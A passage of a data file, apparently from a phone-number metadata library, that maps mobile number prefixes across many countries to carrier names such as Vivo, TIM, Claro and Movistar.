'5025537':{'en': 'Telgua'}, '5025536':{'en': 'Telgua'}, '5025535':{'en': 'Telgua'}, '5025534':{'en': 'Telgua'}, '553199669':{'en': 'Telemig Celular'}, '505848':{'en': 'Movistar'}, '505846':{'en': 'Movistar'}, '505847':{'en': 'Movistar'}, '505845':{'en': 'Movistar'}, '517396844':{'en': 'Movistar'}, '517396842':{'en': 'Movistar'}, '517396843':{'en': 'Movistar'}, '517396840':{'en': 'Movistar'}, '517396841':{'en': 'Movistar'}, '55199979':{'en': 'Vivo'}, '55199978':{'en': 'Vivo'}, '553398448':{'en': 'Claro BR'}, '553398449':{'en': 'Claro BR'}, '553398444':{'en': 'Claro BR'}, '553398445':{'en': 'Claro BR'}, '553398446':{'en': 'Claro BR'}, '553398447':{'en': 'Claro BR'}, '553398441':{'en': 'Claro BR'}, '553398442':{'en': 'Claro BR'}, '553398443':{'en': 'Claro BR'}, '234195':{'en': 'Starcomms'}, '5036430':{'en': 'Movistar'}, '5036431':{'en': 'Movistar'}, '35467':{'en': 'Vodafone'}, '35466':{'en': 'Vodafone'}, '35462':{'en': 'Vodafone'}, '553298483':{'en': 'Claro BR'}, '30691888':{'en': 'OSE'}, '553298481':{'en': 'Claro BR'}, '553298480':{'en': 'Claro BR'}, '35469':{'en': 'Vodafone'}, '35468':{'en': 'Vodafone'}, '553199187':{'en': 'TIM'}, '552799234':{'en': 'Claro BR'}, '552499280':{'en': 'Claro BR'}, '553599834':{'en': 'Telemig Celular'}, '553599835':{'en': 'Telemig Celular'}, '553599836':{'en': 'Telemig Celular'}, '553599837':{'en': 'Telemig Celular'}, '553599831':{'en': 'Telemig Celular'}, '553599832':{'en': 'Telemig Celular'}, '553599833':{'en': 'Telemig Celular'}, '553599838':{'en': 'Telemig Celular'}, '553599839':{'en': 'Telemig Celular'}, '551699784':{'en': 'Vivo'}, '514494815':{'en': 'Movistar'}, '514494814':{'en': 'Movistar'}, '514494816':{'en': 'Movistar'}, '514494811':{'en': 'Movistar'}, '514494810':{'en': 'Movistar'}, '514494813':{'en': 'Movistar'}, '514494812':{'en': 'Movistar'}, '551197030':{'en': 'TIM'}, '551197031':{'en': 'TIM'}, '552899971':{'en': 'Vivo'}, '554299949':{'en': 'TIM'}, '552799312':{'en': 'Claro BR'}, '552799311':{'en': 'Claro BR'}, '551999609':{'en': 'Vivo'}, '551999608':{'en': 'Vivo'}, '551999605':{'en': 'Vivo'}, '551999604':{'en': 'Vivo'}, '551999607':{'en': 'Vivo'}, '551999606':{'en': 'Vivo'}, '551999601':{'en': 'Vivo'}, '551999603':{'en': 'Vivo'}, '551999602':{'en': 'Vivo'}, '1787922':{'en': 'SunCom Wireless Puerto Rico'}, '552899975':{'en': 'Vivo'}, '1473402':{'en': 'Affordable Island Communications'}, '552899974':{'en': 'Vivo'}, '553899184':{'en': 'TIM'}, '553899183':{'en': 'TIM'}, '3469337':{'en': 'MasMovil'}, '3469336':{'en': 'MasMovil'}, '553899182':{'en': 'TIM'}, '354617':{'en': 'Vodafone'}, '354616':{'en': 'Vodafone'}, '354615':{'en': 'Vodafone'}, '354614':{'en': 'Tal'}, '551898119':{'en': 'TIM'}, '551898118':{'en': 'TIM'}, '551898115':{'en': 'TIM'}, '551898114':{'en': 'TIM'}, '551898117':{'en': 'TIM'}, '551898116':{'en': 'TIM'}, '551898111':{'en': 'TIM'}, '551898113':{'en': 'TIM'}, '4479781':{'en': 'QX Telecom'}, '4474527':{'en': 'Three'}, '45529':{'en': 'CBB Mobil'}, '45528':{'en': 'CBB Mobil'}, '459217':{'en': 'Interactive digital media GmbH'}, '4476669':{'en': 'FIO Telecom'}, '45257':{'en': 'Telenor'}, '45256':{'en': 'Telenor'}, '45255':{'en': 'Telenor'}, '45526':{'en': 'Lebara Limited'}, '45521':{'en': 'Telia'}, '45252':{'en': 'Telenor'}, '4476660':{'en': '24 Seven'}, '45522':{'en': 'Telia'}, '554398409':{'en': 'Brasil Telecom GSM'}, '554398408':{'en': 'Brasil Telecom GSM'}, '554398403':{'en': 'Brasil Telecom GSM'}, '554398402':{'en': 'Brasil Telecom GSM'}, '554398401':{'en': 'Brasil Telecom GSM'}, '554398407':{'en': 'Brasil Telecom GSM'}, '554398406':{'en': 'Brasil Telecom GSM'}, '554398405':{'en': 'Brasil Telecom GSM'}, '554398404':{'en': 'Brasil Telecom GSM'}, '554798416':{'en': 'Brasil Telecom GSM'}, '554798417':{'en': 'Brasil Telecom GSM'}, '455211':{'en': '3'}, '455210':{'en': 'Firstcom'}, '455212':{'en': '3'}, '474184':{'en': 'Telenor'}, '474185':{'en': 'Telenor'}, '553899165':{'en': 'TIM'}, '551399210':{'en': 'Claro BR'}, '553899167':{'en': 'TIM'}, '553899166':{'en': 'TIM'}, '553899161':{'en': 'TIM'}, '553899163':{'en': 'TIM'}, '551399211':{'en': 'Claro BR'}, '1784490':{'en': 'Cable & Wireless'}, '1784491':{'en': 'Cable & Wireless'}, '1784492':{'en': 'Cable & Wireless'}, '1784493':{'en': 'Cable & Wireless'}, '1784494':{'en': 'Cable & Wireless'}, '1784495':{'en': 'Cable & Wireless'}, '447704':{'en': 'O2'}, '447705':{'en': 'O2'}, '447706':{'en': 'O2'}, '447707':{'en': 'O2'}, '447701':{'en': 'O2'}, '447702':{'en': 'O2'}, '447703':{'en': 'O2'}, '324618':{'en': 'N.M.B.S.'}, '1787253':{'en': 'Claro'}, '514494991':{'en': 'Movistar'}, '38763':{'en': 'HT ERONET'}, '38762':{'en': 'BH Telecom'}, '38761':{'en': 'BH Telecom'}, '38760':{'en': 'BH Telecom'}, '38766':{'en': 'm:tel'}, '38765':{'en': 'm:tel'}, '552799232':{'en': 'Claro BR'}, '552799235':{'en': 'Claro BR'}, '514494995':{'en': 'Movistar'}, '549231':{'en': 'Personal'}, '549230':{'en': 'Personal'}, '549233':{'en': 'Personal'}, '479377':{'en': 'NetCom'}, '549235':{'en': 'Personal'}, '549234':{'en': 'Personal'}, '549236':{'en': 'Personal'}, '549239':{'en': 'Personal'}, '233560':{'en': 'Airtel'}, '514494997':{'en': 'Movistar'}, '552799239':{'en': 'Claro BR'}, '552799238':{'en': 'Claro BR'}, '474539':{'en': 'NetCom'}, '1787259':{'en': 'Claro'}, '1787258':{'en': 'Claro'}, '1876560':{'en': 'Digicel'}, '1876561':{'en': 'Digicel'}, '1876562':{'en': 'Digicel'}, '1876564':{'en': 'Digicel'}, '1876565':{'en': 'Digicel'}, '1876566':{'en': 'Digicel'}, '1876567':{'en': 'Digicel'}, '1876568':{'en': 'Digicel'}, '1876569':{'en': 'Digicel'}, '554299947':{'en': 'TIM'}, '2343988':{'en': 'Starcomms'}, '2343989':{'en': 'Starcomms'}, '27710':{'en': 'MTN'}, '551699792':{'en': 'Vivo'}, '27717':{'en': 'MTN'}, '551699791':{'en': 'Vivo'}, '27718':{'en': 'MTN'}, '27719':{'en': 'MTN'}, '2343985':{'en': 'Starcomms'}, '2343986':{'en': 'Starcomms'}, '2343987':{'en': 'Starcomms'}, '552198384':{'en': 'TIM'}, '552198385':{'en': 'TIM'}, '552198386':{'en': 'TIM'}, '4478299':{'en': 'Airtel'}, '4478298':{'en': 'Airtel'}, '552198382':{'en': 'TIM'}, '552198383':{'en': 'TIM'}, '4478297':{'en': 'Airtel'}, '554199243':{'en': 'Vivo'}, '554199244':{'en': 'Vivo'}, '2343181':{'en': 'Starcomms'}, '2343182':{'en': 'Starcomms'}, '2343183':{'en': 'Starcomms'}, '2343184':{'en': 'Starcomms'}, '2343185':{'en': 'Starcomms'}, '2343186':{'en': 'Starcomms'}, '2343187':{'en': 'Starcomms'}, '2343188':{'en': 'Starcomms'}, '503600':{'en': 'Tigo'}, '503601':{'en': 'Tigo'}, '553399128':{'en': 'TIM'}, '553399129':{'en': 'TIM'}, '554199237':{'en': 'Vivo'}, '34610':{'en': 'Vodafone'}, '34617':{'en': 'Vodafone'}, '34616':{'en': 'Movistar'}, '34615':{'en': 'Orange'}, '554199232':{'en': 'Vivo'}, '553399121':{'en': 'TIM'}, '34619':{'en': 'Movistar'}, '34618':{'en': 'Movistar'}, '553399124':{'en': 'TIM'}, '553399125':{'en': 'TIM'}, '553399126':{'en': 'TIM'}, '553399127':{'en': 'TIM'}, '24595':{'en': 'Orange'}, '35699':{'en': 'Vodafone'}, '24597':{'en': 'Guinetel'}, '24596':{'en': 'Spacetel'}, '35692':{'en': 'Vodafone'}, '35696':{'en': 'YOM'}, '1671898':{'en': 'Choice Phone'}, '517497957':{'en': 'Movistar'}, '3460302':{'en': 'Vodafone'}, '4175':{'en': 'Swisscom'}, '4176':{'en': 'Sunrise'}, '4177':{'en': 'Tele4u'}, '1787719':{'en': 'CENTENNIAL'}, '1787717':{'en': 'CENTENNIAL'}, '4178':{'en': 'Salt'}, '4179':{'en': 'Swisscom'}, '459247':{'en': 'Telenor Connexion AB'}, '551899180':{'en': 'Claro BR'}, '551298168':{'en': 'TIM'}, '551298169':{'en': 'TIM'}, '551298162':{'en': 'TIM'}, '551298163':{'en': 'TIM'}, '551298161':{'en': 'TIM'}, '551298166':{'en': 'TIM'}, '551298167':{'en': 'TIM'}, '551298164':{'en': 'TIM'}, '551298165':{'en': 'TIM'}, '551398809':{'en': 'Oi'}, '551698119':{'en': 'TIM'}, '1787434':{'en': 'CENTENNIAL'}, '551698117':{'en': 'TIM'}, '551698116':{'en': 'TIM'}, '551698115':{'en': 'TIM'}, '551698114':{'en': 'TIM'}, '551698113':{'en': 'TIM'}, '551698112':{'en': 'TIM'}, '551698111':{'en': 'TIM'}, '553199161':{'en': 'TIM'}, '447883':{'en': 'Three'}, '4475374':{'en': 'Vodafone'}, '4475377':{'en': 'CFL'}, '4475376':{'en': 'Mediatel'}, '4475371':{'en': 'Stour Marine'}, '4475370':{'en': 'Wavecrest'}, '4475373':{'en': 'Swiftnet'}, '354611':{'en': 'Tal'}, '2224':{'en': 'Mauritel'}, '447888':{'en': 'Three'}, '2222':{'en': 'Chinguitel'}, '2223':{'en': 'Mattel'}, '554299911':{'en': 'TIM'}, '554299913':{'en': 'TIM'}, '1787389':{'en': 'Claro'}, '1787385':{'en': 'Claro'}, '1787384':{'en': 'Claro'}, '30691345':{'en': 'Nova'}, '1787381':{'en': 'Claro'}, '1787380':{'en': 'Claro'}, '1787383':{'en': 'Claro'}, '1787382':{'en': 'Claro'}, '51198008':{'en': 'Movistar'}, '51198009':{'en': 'Movistar'}, '554299918':{'en': 'TIM'}, '51198003':{'en': 'Movistar'}, '51198004':{'en': 'Movistar'}, '51198005':{'en': 'Movistar'}, '51198006':{'en': 'Movistar'}, '51198007':{'en': 'Movistar'}, '553298482':{'en': 'Claro BR'}, '459156':{'en': 'TDC'}, '459157':{'en': 'Mundio Mobile'}, '48450':{'en': 'Play'}, '459155':{'en': 'TDC'}, '459152':{'en': 'TDC'}, '459153':{'en': 'TDC'}, '459150':{'en': 'Telenor Connexion AB'}, '459151':{'en': 'Telenor Connexion AB'}, '553199838':{'en': 'Telemig Celular'}, '553199839':{'en': 'Telemig Celular'}, '459158':{'en': 'NextGen Mobile Ldt T/A CardBoardFish'}, '459159':{'en': 'SimService'}, '553298485':{'en': 'Claro BR'}, '553298484':{'en': 'Claro BR'}, '554499125':{'en': 'Vivo'}, '553199768':{'en': 'Telemig Celular'}, '553199769':{'en': 'Telemig Celular'}, '553199761':{'en': 'Telemig Celular'}, '553199762':{'en': 'Telemig Celular'}, '553199763':{'en': 'Telemig Celular'}, '553199764':{'en': 'Telemig Celular'}, '553199765':{'en': 'Telemig Celular'}, '553199766':{'en': 'Telemig Celular'}, '553199767':{'en': 'Telemig Celular'}, '180954':{'en': 'Claro'}, '180951':{'en': 'Claro'}, '1684770':{'en': 'ASTCA'}, '1784533':{'en': 'Digicel'}, '1784532':{'en': 'Digicel'}, '1784531':{'en': 'Digicel'}, '1784530':{'en': 'Digicel'}, '551799759':{'en': 'Vivo'}, '1784534':{'en': 'Digicel'}, '1787940':{'en': 'CENTENNIAL'}, '1787947':{'en': 'CENTENNIAL'}, '1787949':{'en': 'SunCom Wireless Puerto Rico'}, '5527988':{'en': 'Oi'}, '5025519':{'en': 'Movistar'}, '5025518':{'en': 'Movistar'}, '505867':{'en': 'Movistar'}, '505868':{'en': 'Movistar'}, '554698404':{'en': 'Brasil Telecom GSM'}, '554698405':{'en': 'Brasil Telecom GSM'}, '554698406':{'en': 'Brasil Telecom GSM'}, '554698407':{'en': 'Brasil Telecom GSM'}, '554698401':{'en': 'Brasil Telecom GSM'}, '554698402':{'en': 'Brasil Telecom GSM'}, '554698403':{'en': 'Brasil Telecom GSM'}, '4475588':{'en': 'Cloud9'}, '4475580':{'en': 'Mobile FX Services Ltd'}, '553199925':{'en': 'Telemig Celular'}, '553499802':{'en': 'Telemig Celular'}, '553499803':{'en': 'Telemig Celular'}, '3519205':{'en': 'Lycamobile'}, '3519204':{'en': 'Lycamobile'}, '3519203':{'en': 'Lycamobile'}, '3519202':{'en': 'Lycamobile'}, '3519201':{'en': 'Lycamobile'}, '3519200':{'en': 'Lycamobile'}, '553499808':{'en': 'Telemig Celular'}, '553499809':{'en': 'Telemig Celular'}, '4474185':{'en': 'Telna'}, '4474184':{'en': 'Manx Telecom'}, '4474187':{'en': 'Teleena'}, '4474186':{'en': 'Ace Call'}, '4474181':{'en': 'Bellingham'}, '4474180':{'en': 'Three'}, '4474183':{'en': 'Tismi'}, '4474182':{'en': 'TGL'}, '4474189':{'en': 'Teleena'}, '35489':{'en': u('S\u00edminn')}, '35485':{'en': u('S\u00edminn')}, '35484':{'en': u('S\u00edminn')}, '35486':{'en': u('S\u00edminn')}, '35483':{'en': u('S\u00edminn')}, '35482':{'en': 'Vodafone'}, '23836':{'en': 'CVMOVEL'}, '23833':{'en': 'T+'}, '551599690':{'en': 'Vivo'}, '551599691':{'en': 'Vivo'}, '551599696':{'en': 'Vivo'}, '551599697':{'en': 'Vivo'}, '551599694':{'en': 'Vivo'}, '551599695':{'en': 'Vivo'}, '551398151':{'en': 'TIM'}, '55119798':{'en': 'Oi'}, '552798182':{'en': 'TIM'}, '551699994':{'en': 'Vivo'}, '551398157':{'en': 'TIM'}, '551699991':{'en': 'Vivo'}, '389729':{'en': 'T-Mobile'}, '389725':{'en': 'T-Mobile'}, '389724':{'en': 'T-Mobile'}, '389727':{'en': 'T-Mobile'}, '389726':{'en': 'T-Mobile'}, '389721':{'en': 'T-Mobile'}, '553899153':{'en': 'TIM'}, '389723':{'en': 'T-Mobile'}, '389722':{'en': 'T-Mobile'}, '552198326':{'en': 'TIM'}, '552198327':{'en': 'TIM'}, '552198324':{'en': 'TIM'}, '551999623':{'en': 'Vivo'}, '551999622':{'en': 'Vivo'}, '551999621':{'en': 'Vivo'}, '2305871':{'en': 'MTML'}, '2305876':{'en': 'Cellplus'}, '2305877':{'en': 'Cellplus'}, '551999625':{'en': 'Vivo'}, '2305875':{'en': 'Cellplus'}, '552198322':{'en': 'TIM'}, '2305878':{'en': 'Cellplus'}, '551999628':{'en': 'Vivo'}, '552198323':{'en': 'TIM'}, '553199176':{'en': 'TIM'}, '553199171':{'en': 'TIM'}, '491590':{'en': 'O2'}, '1473425':{'en': 'Digicel Grenada'}, '1473422':{'en': 'Digicel Grenada'}, '1473423':{'en': 'Digicel Grenada'}, '1473420':{'en': 'Digicel Grenada'}, '1473421':{'en': 'Digicel Grenada'}, '359988':{'en': 'Bob'}, '551698124':{'en': 'TIM'}, '549384':{'en': 'Personal'}, '551698125':{'en': 'TIM'}, '552299259':{'en': 'Claro BR'}, '1473521':{'en': 'Affordable Island Communications'}, '1473520':{'en': 'Affordable Island Communications'}, '507639':{'en': u('Telef\u00f3nica M\u00f3viles')}, '21265':{'en': 'Maroc Telecom'}, '21267':{'en': 'Maroc Telecom'}, '21260':{'en': 'Inwi'}, '21261':{'en': 'Maroc Telecom'}, '551898133':{'en': 'TIM'}, '551898132':{'en': 'TIM'}, '551898131':{'en': 'TIM'}, '346728':{'en': 'Lebara'}, '346729':{'en': 'Lebara'}, '551898135':{'en': 'TIM'}, '551898134':{'en': 'TIM'}, '346725':{'en': 'Lebara'}, '551898139':{'en': 'TIM'}, '551898138':{'en': 'TIM'}, '4476608':{'en': 'Premium O'}, '4476609':{'en': 'Premium O'}, '45509':{'en': 'Telenor'}, '45508':{'en': 'Telenor'}, '2415':{'en': 'Moov'}, '2414':{'en': 'Airtel'}, '2417':{'en': 'Airtel'}, '2416':{'en': 'Libertis'}, '45503':{'en': 'Lebara Limited'}, '45502':{'en': 'Lebara Limited'}, '45507':{'en': 'Telenor'}, '45505':{'en': 'CBB Mobil'}, '45504':{'en': 'CBB Mobil'}, '254759':{'en': 'Safaricom'}, '254758':{'en': 'Safaricom'}, '455233':{'en': 'CBB Mobil'}, '455230':{'en': 'YouSee'}, '254757':{'en': 'Safaricom'}, '553899143':{'en': 'TIM'}, '553899142':{'en': 'TIM'}, '553899141':{'en': 'TIM'}, '551998227':{'en': 'TIM'}, '553899147':{'en': 'TIM'}, '553899146':{'en': 'TIM'}, '553899145':{'en': 'TIM'}, '553899144':{'en': 'TIM'}, '553899149':{'en': 'TIM'}, '553899148':{'en': 'TIM'}, '515495811':{'en': 'Claro'}, '515495810':{'en': 'Claro'}, '3469310':{'en': 'MasMovil'}, '517497840':{'en': 'Movistar'}, '517497841':{'en': 'Movistar'}, '517497842':{'en': 'Movistar'}, '517497843':{'en': 'Movistar'}, '551799783':{'en': 'Vivo'}, '551799780':{'en': 'Vivo'}, '551799784':{'en': 'Vivo'}, '551799785':{'en': 'Vivo'}, '324672':{'en': 'Join Experience Belgium'}, '324671':{'en': 'Join Experience Belgium'}, '324676':{'en': 'Lycamobile'}, '55419871':{'en': 'Claro BR'}, '55419870':{'en': 'Claro BR'}, '55419873':{'en': 'Claro BR'}, '47480':{'en': 'Telenor'}, '47481':{'en': 'Telenor'}, '47482':{'en': 'Telenor'}, '55419872':{'en': 'Claro BR'}, '479391':{'en': 'NetCom'}, '51429429':{'en': 'Movistar'}, '51429424':{'en': 'Movistar'}, '51429427':{'en': 'Claro'}, '51429426':{'en': 'Movistar'}, '554798412':{'en': 'Brasil Telecom GSM'}, '3876441':{'en': 'HT ERONET'}, '3876440':{'en': 'HT ERONET'}, '3876443':{'en': 'HT ERONET'}, '3876442':{'en': 'HT ERONET'}, '3876445':{'en': 'HT ERONET'}, '3876444':{'en': 'HT ERONET'}, '3876446':{'en': 'HT ERONET'}, '55349916':{'en': 'TIM'}, '55349917':{'en': 'TIM'}, '55349914':{'en': 'TIM'}, '55349915':{'en': 'TIM'}, '55349912':{'en': 'TIM'}, '55349913':{'en': 'TIM'}, '55349911':{'en': 'TIM'}, '3468529':{'en': 'Carrefour'}, '554798413':{'en': 'Brasil Telecom GSM'}, '4474516':{'en': 'UK Broadband'}, '4474517':{'en': 'UK Broadband'}, '55189978':{'en': 'Vivo'}, '4474515':{'en': 'Premium O'}, '4474512':{'en': 'Tismi'}, '554798443':{'en': 'Brasil Telecom GSM'}, '554798442':{'en': 'Brasil Telecom GSM'}, '554798441':{'en': 'Brasil Telecom GSM'}, '554798414':{'en': 'Brasil Telecom GSM'}, '554798447':{'en': 'Brasil Telecom GSM'}, '554798446':{'en': 'Brasil Telecom GSM'}, '554798445':{'en': 'Brasil Telecom GSM'}, '554798444':{'en': 'Brasil Telecom GSM'}, '554798449':{'en': 'Brasil Telecom GSM'}, '554798448':{'en': 'Brasil Telecom GSM'}, '31629':{'en': 'Vodafone Libertel B.V.'}, '31625':{'en': 'Vodafone Libertel B.V.'}, '31624':{'en': 'T-Mobile'}, '31627':{'en': 'Vodafone Libertel B.V.'}, '31626':{'en': 'Telfort'}, '31621':{'en': 'Vodafone Libertel B.V.'}, '31620':{'en': 'KPN'}, '31623':{'en': 'KPN'}, '31622':{'en': 'KPN'}, '554798415':{'en': 'Brasil Telecom GSM'}, '554199219':{'en': 'Vivo'}, '554199218':{'en': 'Vivo'}, '554199213':{'en': 'Vivo'}, '554199212':{'en': 'Vivo'}, '554199211':{'en': 'Vivo'}, '554199217':{'en': 'Vivo'}, '32456':{'en': 'Mobile Vikings/JIM Mobile'}, '32455':{'en': 'VOO'}, '554199214':{'en': 'Vivo'}, '34679':{'en': 'Movistar'}, '144159':{'en': 'Digicel Bermuda'}, '144153':{'en': 'Digicel Bermuda'}, '144152':{'en': 'Digicel Bermuda'}, '144151':{'en': 'Digicel Bermuda'}, '144150':{'en': 'Digicel Bermuda'}, '5517991':{'en': 'Claro BR'}, '551799713':{'en': 'Vivo'}, '552299255':{'en': 'Claro BR'}, '554298401':{'en': 'Brasil Telecom GSM'}, '180969':{'en': 'Claro'}, '554298403':{'en': 'Brasil Telecom GSM'}, '373610':{'en': 'Orange'}, '373611':{'en': 'Orange'}, '551799716':{'en': 'Vivo'}, '554298406':{'en': 'Brasil Telecom GSM'}, '554298407':{'en': 'Brasil Telecom GSM'}, '33659':{'en': 'Bouygues'}, '26460':{'en': 'Telecom Namibia'}, '552299257':{'en': 'Claro BR'}, '503620':{'en': 'Digicel'}, '180967':{'en': 'Claro'}, '551298141':{'en': 'TIM'}, '551298142':{'en': 'TIM'}, '551298143':{'en': 'TIM'}, '551298144':{'en': 'TIM'}, '551298145':{'en': 'TIM'}, '551298146':{'en': 'TIM'}, '551298147':{'en': 'TIM'}, '551298148':{'en': 'TIM'}, '551298149':{'en': 'TIM'}, '514394371':{'en': 'Claro'}, '514394370':{'en': 'Claro'}, '514394373':{'en': 'Claro'}, '514394372':{'en': 'Claro'}, '514394375':{'en': 'Claro'}, '514394374':{'en': 'Claro'}, '514394377':{'en': 'Claro'}, '514394376':{'en': 'Claro'}, '514394379':{'en': 'Movistar'}, '514394378':{'en': 'Movistar'}, '551698179':{'en': 'TIM'}, '1787410':{'en': 'SunCom Wireless Puerto Rico'}, '447869':{'en': 'Three'}, '447868':{'en': 'Three'}, '447865':{'en': 'Three'}, '447867':{'en': 'Vodafone'}, '447866':{'en': 'Orange'}, '447861':{'en': 'Three'}, '447860':{'en': 'O2'}, '447863':{'en': 'Three'}, '447862':{'en': 'Three'}, '180962':{'en': 'Tricom'}, '55119638':{'en': 'Vivo'}, '55119639':{'en': 'Vivo'}, '55119630':{'en': 'Claro BR'}, '55119631':{'en': 'Claro BR'}, '55119632':{'en': 'Claro BR'}, '55119633':{'en': 'Claro BR'}, '55119637':{'en': 'Vivo'}, '507657':{'en': u('Telef\u00f3nica M\u00f3viles')}, '24911':{'en': 'Sudatel'}, '24910':{'en': 'Sudatel'}, '24912':{'en': 'Sudatel'}, '237659':{'en': 'Orange'}, '237658':{'en': 'Orange'}, '237653':{'en': 'MTN Cameroon'}, '237652':{'en': 'MTN Cameroon'}, '237651':{'en': 'MTN Cameroon'}, '237650':{'en': 'MTN Cameroon'}, '237657':{'en': 'Orange'}, '237656':{'en': 'Orange'}, '237655':{'en': 'Orange'}, '237654':{'en': 'MTN Cameroon'}, '1939940':{'en': 'CENTENNIAL'}, '553599993':{'en': 'Telemig Celular'}, '552799299':{'en': 'Claro BR'}, '552799298':{'en': 'Claro BR'}, '552799297':{'en': 'Claro BR'}, '552799296':{'en': 'Claro BR'}, '552799295':{'en': 'Claro BR'}, '552799294':{'en': 'Claro BR'}, '552799293':{'en': 'Claro BR'}, '552799292':{'en': 'Claro BR'}, '3462529':{'en': 'MasMovil'}, '553199856':{'en': 'Telemig Celular'}, '553199857':{'en': 'Telemig Celular'}, '553199854':{'en': 'Telemig Celular'}, '553199855':{'en': 'Telemig Celular'}, '553199852':{'en': 'Telemig Celular'}, '553199853':{'en': 'Telemig Celular'}, '553199851':{'en': 'Telemig Celular'}, '553199858':{'en': 'Telemig Celular'}, '553199859':{'en': 'Telemig Celular'}, '553199831':{'en': 'Telemig Celular'}, '2344282':{'en': 'Starcomms'}, '2344280':{'en': 'Starcomms'}, '2344281':{'en': 'Starcomms'}, '553799951':{'en': 'Telemig Celular'}, '553799953':{'en': 'Telemig Celular'}, '553799952':{'en': 'Telemig Celular'}, '30690499':{'en': 'BWS'}, '553399969':{'en': 'Telemig Celular'}, '553799957':{'en': 'Telemig Celular'}, '553799956':{'en': 'Telemig Celular'}, '553399964':{'en': 'Telemig Celular'}, '553399965':{'en': 'Telemig Celular'}, '553399966':{'en': 'Telemig Celular'}, '553399967':{'en': 'Telemig Celular'}, '517297268':{'en': 'Movistar'}, '553399962':{'en': 'Telemig Celular'}, '553399963':{'en': 'Telemig Celular'}, '553199832':{'en': 'Telemig Celular'}, '455398':{'en': 'NextGen Mobile Ldt T/A CardBoardFish'}, '346113':{'en': 'Lebara'}, '346112':{'en': 'Lebara'}, '553199833':{'en': 'Telemig Celular'}, '346110':{'en': 'Republica Movil'}, '553599996':{'en': 'Telemig Celular'}, '1767265':{'en': 'Cable & Wireless'}, '553199708':{'en': 'Telemig Celular'}, '553199709':{'en': 'Telemig Celular'}, '553199706':{'en': 'Telemig Celular'}, '553199707':{'en': 'Telemig Celular'}, '1268732':{'en': 'Digicel'}, '553199705':{'en': 'Telemig Celular'}, '1268734':{'en': 'Digicel'}, '553199703':{'en': 'Telemig Celular'}, '1268736':{'en': 'Digicel'}, '553199701':{'en': 'Telemig Celular'}, '180931':{'en': 'Tricom'}, '180930':{'en': 'Viva'}, '180933':{'en': 'Claro'}, '180932':{'en': 'Tricom'}, '180935':{'en': 'Claro'}, '180934':{'en': 'Tricom'}, '180937':{'en': 'Claro'}, '180936':{'en': 'Claro'}, '180939':{'en': 'Claro'}, '180938':{'en': 'Claro'}, '50234':{'en': 'Movistar'}, '50232':{'en': 'Tigo'}, '50231':{'en': 'Tigo'}, '50230':{'en': 'Tigo'}, '551499142':{'en': 'Claro BR'}, '1242738':{'en': 'aliv'}, '50376869':{'en': 'Movistar'}, '50376868':{'en': 'Movistar'}, '553599994':{'en': 'Telemig Celular'}, '50376865':{'en': 'Movistar'}, '50376867':{'en': 'Movistar'}, '50376866':{'en': 'Movistar'}, '1787969':{'en': 'CENTENNIAL'}, '1787968':{'en': 'CENTENNIAL'}, '502508':{'en': 'Movistar'}, '502509':{'en': 'Movistar'}, '502506':{'en': 'Tigo'}, '502507':{'en': 'Movistar'}, '502504':{'en': 'Tigo'}, '502505':{'en': 'Tigo'}, '1787961':{'en': 'CENTENNIAL'}, '502503':{'en': 'Tigo'}, '502500':{'en': 'Tigo'}, '502501':{'en': 'Telgua'}, '551898112':{'en': 'TIM'}, '505884':{'en': 'Claro'}, '505885':{'en': 'Claro'}, '505882':{'en': 'Claro'}, '505883':{'en': 'Claro'}, '551498814':{'en': 'Oi'}, '50949':{'en': 'Digicel'}, '50948':{'en': 'Digicel'}, '50944':{'en': 'Digicel'}, '50947':{'en': 'Digicel'}, '45258':{'en': 'Telenor'}, '50941':{'en': 'Natcom'}, '50940':{'en': 'Natcom'}, '50943':{'en': 'Natcom'}, '50942':{'en': 'Natcom'}, '459219':{'en': 'Telenor Connexion AB'}, '551498812':{'en': 'Oi'}, '3471770':{'en': 'PepePhone'}, '45524':{'en': 'Telia'}, '553499821':{'en': 'Telemig Celular'}, '553499822':{'en': 'Telemig Celular'}, '553499823':{'en': 'Telemig Celular'}, '553499824':{'en': 'Telemig Celular'}, '45527':{'en': 'Lebara Limited'}, '3519221':{'en': 'CTT'}, '3519220':{'en': 'CTT'}, '3519222':{'en': 'CTT'}, '554799966':{'en': 'TIM'}, '45253':{'en': 'Telenor'}, '474705':{'en': 'NetCom'}, '45251':{'en': 'Telenor'}, '554799963':{'en': 'TIM'}, '554799961':{'en': 'TIM'}, '552198372':{'en': 'TIM'}, '27636':{'en': 'Vodacom'}, '3519285':{'en': 'ONITELECOM'}, '551899686':{'en': 'Vivo'}, '551899687':{'en': 'Vivo'}, '551899684':{'en': 'Vivo'}, '551899685':{'en': 'Vivo'}, '551899682':{'en': 'Vivo'}, '551899683':{'en': 'Vivo'}, '474761':{'en': 'Telenor'}, '51659657':{'en': 'Claro'}, '3519281':{'en': 'NOWO'}, '553199826':{'en': 'Telemig Celular'}, '3519280':{'en': 'NOWO'}, '553199825':{'en': 'Telemig Celular'}, '553199824':{'en': 'Telemig Celular'}, '5037981':{'en': 'Intelfon'}, '5037980':{'en': 'Intelfon'}, '5037983':{'en': 'Intelfon'}, '5037982':{'en': 'Intelfon'}, '5037985':{'en': 'Claro'}, '5037984':{'en': 'Intelfon'}, '5037987':{'en': 'Claro'}, '5037986':{'en': 'Claro'}, '5037989':{'en': 'Claro'}, '5037988':{'en': 'Claro'}, '389707':{'en': 'T-Mobile'}, '389706':{'en': 'T-Mobile'}, '389705':{'en': 'T-Mobile'}, '389704':{'en': 'T-Mobile'}, '389703':{'en': 'T-Mobile'}, '389702':{'en': 'T-Mobile'}, '389701':{'en': 'T-Mobile'}, '389709':{'en': 'T-Mobile'}, '389708':{'en': 'T-Mobile'}, '26269381':{'en': 'Only'}, '26269382':{'en': 'Only'}, '26269383':{'en': 'Only'}, '553599134':{'en': 'TIM'}, '4476446':{'en': 'Media'}, '551699723':{'en': 'Vivo'}, '553199289':{'en': 'TIM'}, '553199288':{'en': 'TIM'}, '4476440':{'en': 'O2'}, '4476441':{'en': 'O2'}, '553199283':{'en': 'TIM'}, '515695616':{'en': 'Movistar'}, '515695615':{'en': 'Movistar'}, '515695614':{'en': 'Movistar'}, '515695613':{'en': 'Movistar'}, '515695612':{'en': 'Movistar'}, '515695611':{'en': 'Movistar'}, '515695610':{'en': 'Movistar'}, '551498143':{'en': 'TIM'}, '506500':{'en': 'OMV'}, '506501':{'en': 'OMV'}, '553599138':{'en': 'TIM'}, '553899169':{'en': 'TIM'}, '553598405':{'en': 'Claro BR'}, '30695210':{'en': 'MI Carrier Services'}, '37525':{'be': u('\u0411\u0435\u0421\u0422'), 'en': 